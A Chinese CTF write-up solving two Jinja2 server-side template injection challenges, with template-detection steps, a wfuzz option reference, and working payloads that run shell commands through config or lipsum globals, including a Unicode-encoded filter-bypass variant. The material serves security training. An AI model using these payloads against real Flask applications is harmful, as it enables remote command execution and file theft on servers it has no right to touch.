nss刷题(关于ssti)

news2024/11/16 22:36:40

1、[HNCTF 2022 WEEK2]ez_SSTI

首先是注入${7*7}没有回显出49的情况,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

首先测试注入的模板,首先输入{7*7}没有回显49,再次尝试{{7*7}},是jinjia2模板

payload:?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

构造payload后页面回显

?name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

继续构造payload得到flag

2、[安洵杯 2020]Normal SSTI

①‘’|attr(“__class__”)等效于‘’.__class__

②如果要使用xxx.os(‘xxx’)类似的方法,可以使用xxx|attr(“os”)(‘xxx’)

③使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

 Unicode编码的python脚本如下:

    class_name = "cat /flag"
     
    unicode_class_name = ''.join(['\\u{:04x}'.format(ord(char)) for char in class_name])
     
    print(unicode_class_name)

payload示例:

    url={%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

(Unicode编码,这条payload等效于{{“”.__class__}})

打开后有提示,跟着提示进行尝试,

到该页面后结合题目ssti进行注入

两次注入都没有得到需要的信息,参考其他wp发现需要使用fuzz工具

Fuzz工具使用详解
(1)wfuzz

描述:wfuzz 是一款Python开发的Web安全模糊测试工具。简而言之就是wfuzz可以用在做请求参数参数类的模糊测试,也可以用来做Web目录扫描等操作。 github项目: https://github.com/xmendez/wfuzz , 安装Wfuzz pip install wfuzz 字典文本: /usr/share/wfuzz/wordlist

    简单粗暴的功能特点记录:
        模块化 框架 可编写插件
        接口 可处理BurpSuite所抓的请求和响应报文

Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ      #payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
FUZZ{baseline_value}  # FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。

#参数解释
-h/--help            : 帮助文档
--help               : 高级帮助文档
--version            : Wfuzz详细版本信息
-e <type>            :  显示可用的encoders/payloads/iterators/printers/scripts列表(查看指定模块类型中的模块列表)
--recipe <filename>  : 从文件中读取参数
--dump-recipe <filename>  : 打印当前的参数并保存成文档
--oF <filename>   : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
-c                : 彩色化输出
-v                : 详细输出
-f filename,printer : 将结果以printer的方式保存到filename (默认为raw printer).
-o printer          : 输出特定printer的输出结果
--interact          : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
--dry-run           : 打印测试结果,而并不发送HTTP请求
--prev              : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
-p addr             : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
-t N                : 指定连接的并发数,默认为10
-s N                : 指定请求的间隔时间,默认为0
-R depth            : 递归路径探测,depth指定最大递归数量
-L,--follow         : 跟随HTTP重定向
-Z                : 扫描模式 (连接错误将被忽视).
--req-delay N       : 设置发送请求允许的最大时间,默认为 90,单位为秒.
--conn-delay N      : 设置连接等待的最大时间,默认为 90,单位为秒.
-A                : 是 --script=default -v -c 的简写
--script=           : 与 --script=default 等价
--script=<plugins>  : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
--script-help=<plugins> : 显示脚本的帮助
--script-args n1=v1,... : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
-u url                  : 指定请求的URL
-m iterator         : 指定一个处理payloads的迭代器 (默认为product)
-z payload          : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].编码可以是一个列表,如 md5-sha1还可以串联起来, 如[email protected]还可使用编码各类名如 url;
                      使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤(替代了下面的--zP参数)
--zP <params>       : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
--slice <filter>    : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
-w wordlist         : 指定一个wordlist文件,等同于 -z file,wordlist
-V alltype          : 暴力测试所有GET/POST参数,无需指定占位符
-X method           : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
-b cookie           : 指定请求的cookie参数,可指定多个cookie
-d postdata         : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
-H header           : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
--basic/ntlm/digest auth    : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+        : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+        : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex            : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter>        : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter>        : 用指定的filter表达式在测试之前过滤某些测试条目
--slice 参数来过滤帮助返回信息的结果。

用fuzz字典得到了过滤名单。

[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

因为过滤了 {{}},所以使用{%%},不能用base64编码还有request,考虑用Unicode编码配合attr过滤器来绕过。

构造payload:

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

在此基础上将_globals_,__getitem__还有命令进行编码:

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1684421.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

图生代码,从Hello Onion 代码开始

从Hello Onion 代码开始 1&#xff0c;从代码开始 原生语言采用java 作为载体。通过注解方式实现“UI可视化元素"与代码bean之间的映射. 转换示例 2&#xff0c;运行解析原理 在执行JAVA代码期间&#xff0c;通过读取注解信息&#xff0c;转换为前端的JSON交由前端JS框…

【linux性能分析】perf分析CPU占用详情

文章目录 1. 如何使用perf工具1.1 perf安装1.2 首次使用perf报错1.3 添加测试程序1.4 编译并执行指令生成perf.data文件1.5 添加-g选项能查看call graph调用信息1.6 查看perf.data1.7 perf工作流1.8 sudo perf record -F 99 -p 2512 -g -- sleep 60 2. 如何生成火焰图2.1 安装火…

技术前沿 |【自回归视觉模型ImageGPT】

自回归视觉模型ImageGPT 引言一、ImageGPT的基本原理与创新之处二、ImageGPT在图像生成、理解等视觉任务上的应用三、ImageGPT对后续视觉Transformer模型发展的影响四、ImageGPT的深入应用 引言 在人工智能的飞速发展中&#xff0c;视觉模型作为其中一个重要的分支&#xff0c…

Qt运行时,如何设置第一个聚焦的控件

问题&#xff1a;Qt第一个聚焦的控件&#xff0c;如何自行设置&#xff1f; 尝试&#xff1a; 1.在代码中设置 lineEdit->setFocus() 。无效&#xff01; 2.Qt Designer–打开form1.ui–菜单栏下一行–Edit Tab Order–按顺序点击–菜单栏下一行–Edit Widgets–退出。无效…

JDBC、datasource、数据库驱动、持久层框架之间的区别

1、jdbc Java Database Connectivity&#xff08;JDBC&#xff09;是Java平台下的一个标准API&#xff0c;它定义了一组用于连接各种数据库系统、执行SQL语句和处理结果集的接口和类。使用JDBC API&#xff0c;开发人员可以编写能够访问不同数据库系统的应用程序&#xff0c;而…

react组件传参 父传子可以传字符串,布尔值,数组,对象,jsx,

在react中&#xff0c;父传子组件 props的灵活性是很强大的&#xff0c;可以传字符串&#xff0c;布尔值&#xff0c;数组&#xff0c;对象&#xff0c;jsx&#xff0c; function Son(props) {console.log(props,"props的值")return(<div>这是儿子组件 {props.…

论文精读-SRFormer Permuted Self-Attention for Single Image Super-Resolution

论文精读-SRFormer: Permuted Self-Attention for Single Image Super-Resolution SRFormer:用于单图像超分辨率的排列自注意 Params&#xff1a;853K&#xff0c;MACs&#xff1a;236G 优点&#xff1a; 1、参考SwinIR的RSTB提出了新的网络块结构PAB&#xff08;排列自注意力…

非授权人员进入报警系统

非授权人员进入报警系统基于智能视频分析技术和深度学习技术&#xff0c;非授权人员进入报警系统通过现场已经装好的监控摄像头针对人体进行精准检测&#xff0c;并根据设置的禁入区范围进行判断。通过图像处理和人体识别算法&#xff0c;非授权人员进入报警系统可以在实时监测…

适用于当下的红色系统可视化大屏,大量图。

特定场合下使用红色系可视化大屏是可以的&#xff0c;但是千万要注意时间和场合&#xff0c;平时最好别用。

【Linux系统】文件与基础IO

本篇博客整理了文件与文件系统、文件与IO的相关知识&#xff0c;借由库函数、系统调用、硬件之间的交互、操作系统管理文件的手段等&#xff0c;旨在让读者更深刻地理解“Linux下一切皆文件”。 【Tips】文件的基本认识 文件 内容 属性。文件在创建时就有基本属性&#xff0…

简单快捷的图片格式转换工具:认识webp2jpg-online

经常写博客或记笔记的朋友们可能会碰到图床不支持的图片格式或图片太大需要压缩的情况。通常&#xff0c;我们会在浏览器中搜索在线图片格式转换器&#xff0c;但这些转换器往往伴有烦人的广告或要求登录&#xff0c;并且支持的转换格式有限。最近&#xff0c;我在浏览 GitHub …

【董晓算法】竞赛常用知识之图论2(最小环,最小生成树)

前言&#xff1a; 本系列是学习了董晓老师所讲的知识点做的笔记 董晓算法的个人空间-董晓算法个人主页-哔哩哔哩视频 (bilibili.com) 动态规划系列&#xff08;还没学完&#xff09; 【董晓算法】动态规划之线性DP问题-CSDN博客 【董晓算法】动态规划之背包DP问题&#xff…

AI交互数字人讲解员对博物馆有何价值?

近日&#xff0c;贵州省地质博物馆推出AI交互数字人贵州龙“贵贵”&#xff0c;采用垂直类大语言模型驱动&#xff0c;拥有贵地博相关专业知识&#xff0c;能够作为数字人讲解员向公众解答关于博物馆的各类问题。该AI交互数字人身着考古服装、佩戴馆徽、以可爱的小龙形象&#…

vue使用driver.js引导并自定义样式和按钮

参考网址https://driverjs.com/docs/installation 安装 npm install driver.js 以下是1.3.1版本的基本使用方法 import { driver } from driver.js import driver.js/dist/driver.css mounted() {// 实例化driver对象const driverObj driver({showProgress: true,steps: …

MQTT 5.0 报文解析 05:DISCONNECT

欢迎阅读 MQTT 5.0 报文系列 的第五篇文章。在上一篇中&#xff0c;我们已经介绍了 MQTT 5.0 的 PINGREQ 和 PINGRESP 报文。现在&#xff0c;我们将介绍下一个控制报文&#xff1a;DISCONNECT。 在 MQTT 中&#xff0c;客户端和服务端可以在断开网络连接前向对端发送一个 DIS…

Java 循环嵌套深度揭秘:挑战极限与性能优化

哈喽&#xff0c;大家好&#xff0c;我是木头左&#xff01; 探索Java的调用栈极限 在Java中&#xff0c;方法调用是通过栈&#xff08;Stack&#xff09;这种数据结构来实现的。每当一个方法被调用时&#xff0c;一个新的栈帧&#xff08;Stack Frame&#xff09;会被创建并压…

MT3042 这项目我小码哥投了

代码 1.暴力7/15&#xff1a; #include <bits/stdc.h> using namespace std; typedef long long ll; const int N 5e6 10; int n, m; char mp[1005][1005]; int main() {cin >> n >> m;for (int i 1; i < n; i){for (int j 1; j < m; j){cin >…

【设计模式深度剖析】【A】【创建型】【对比】| 工厂模式重点理解产品族的概念

回 顾&#xff1a;创建型设计模式 1.单例模式&#x1f448;️ 2.工厂方法模式&#x1f448;️ 3.抽象工厂模式&#x1f448;️ 4.建造者模式&#x1f448;️ 5.原型模式&#x1f448;️ &#x1f448;️上一篇:原型模式 | &#x1f449;️下一篇:代理模式 目录…

2024年失业率狂飙18.1%,史上最难就业季即将来临,该如何逆袭?_2024年失业潮

【2024年被称为最难就业年&#xff0c;1158万大学生面临难题】 距离2024年毕业季还剩不到4个月&#xff0c;毕业学员将面临空前严峻的就业压力&#xff01;具国家统 计局的数据显示&#xff0c;1-2月份&#xff0c;16至24岁年轻人的失业率飙到18.1%&#xff0c;也就是说&…

WordPress建站公司模板免费下载

WordPress建站公司 适合提供WordPress建站服务的公司或个体(个人)工作室使用的WordPress建站公司主题模板。 演示 https://www.jianzhanpress.com/?p545 https://www.wpicu.com/jianzhan/ 下载 链接: https://pan.baidu.com/s/11trlwUJq_lW81R_acq4ilA 提取码: r19i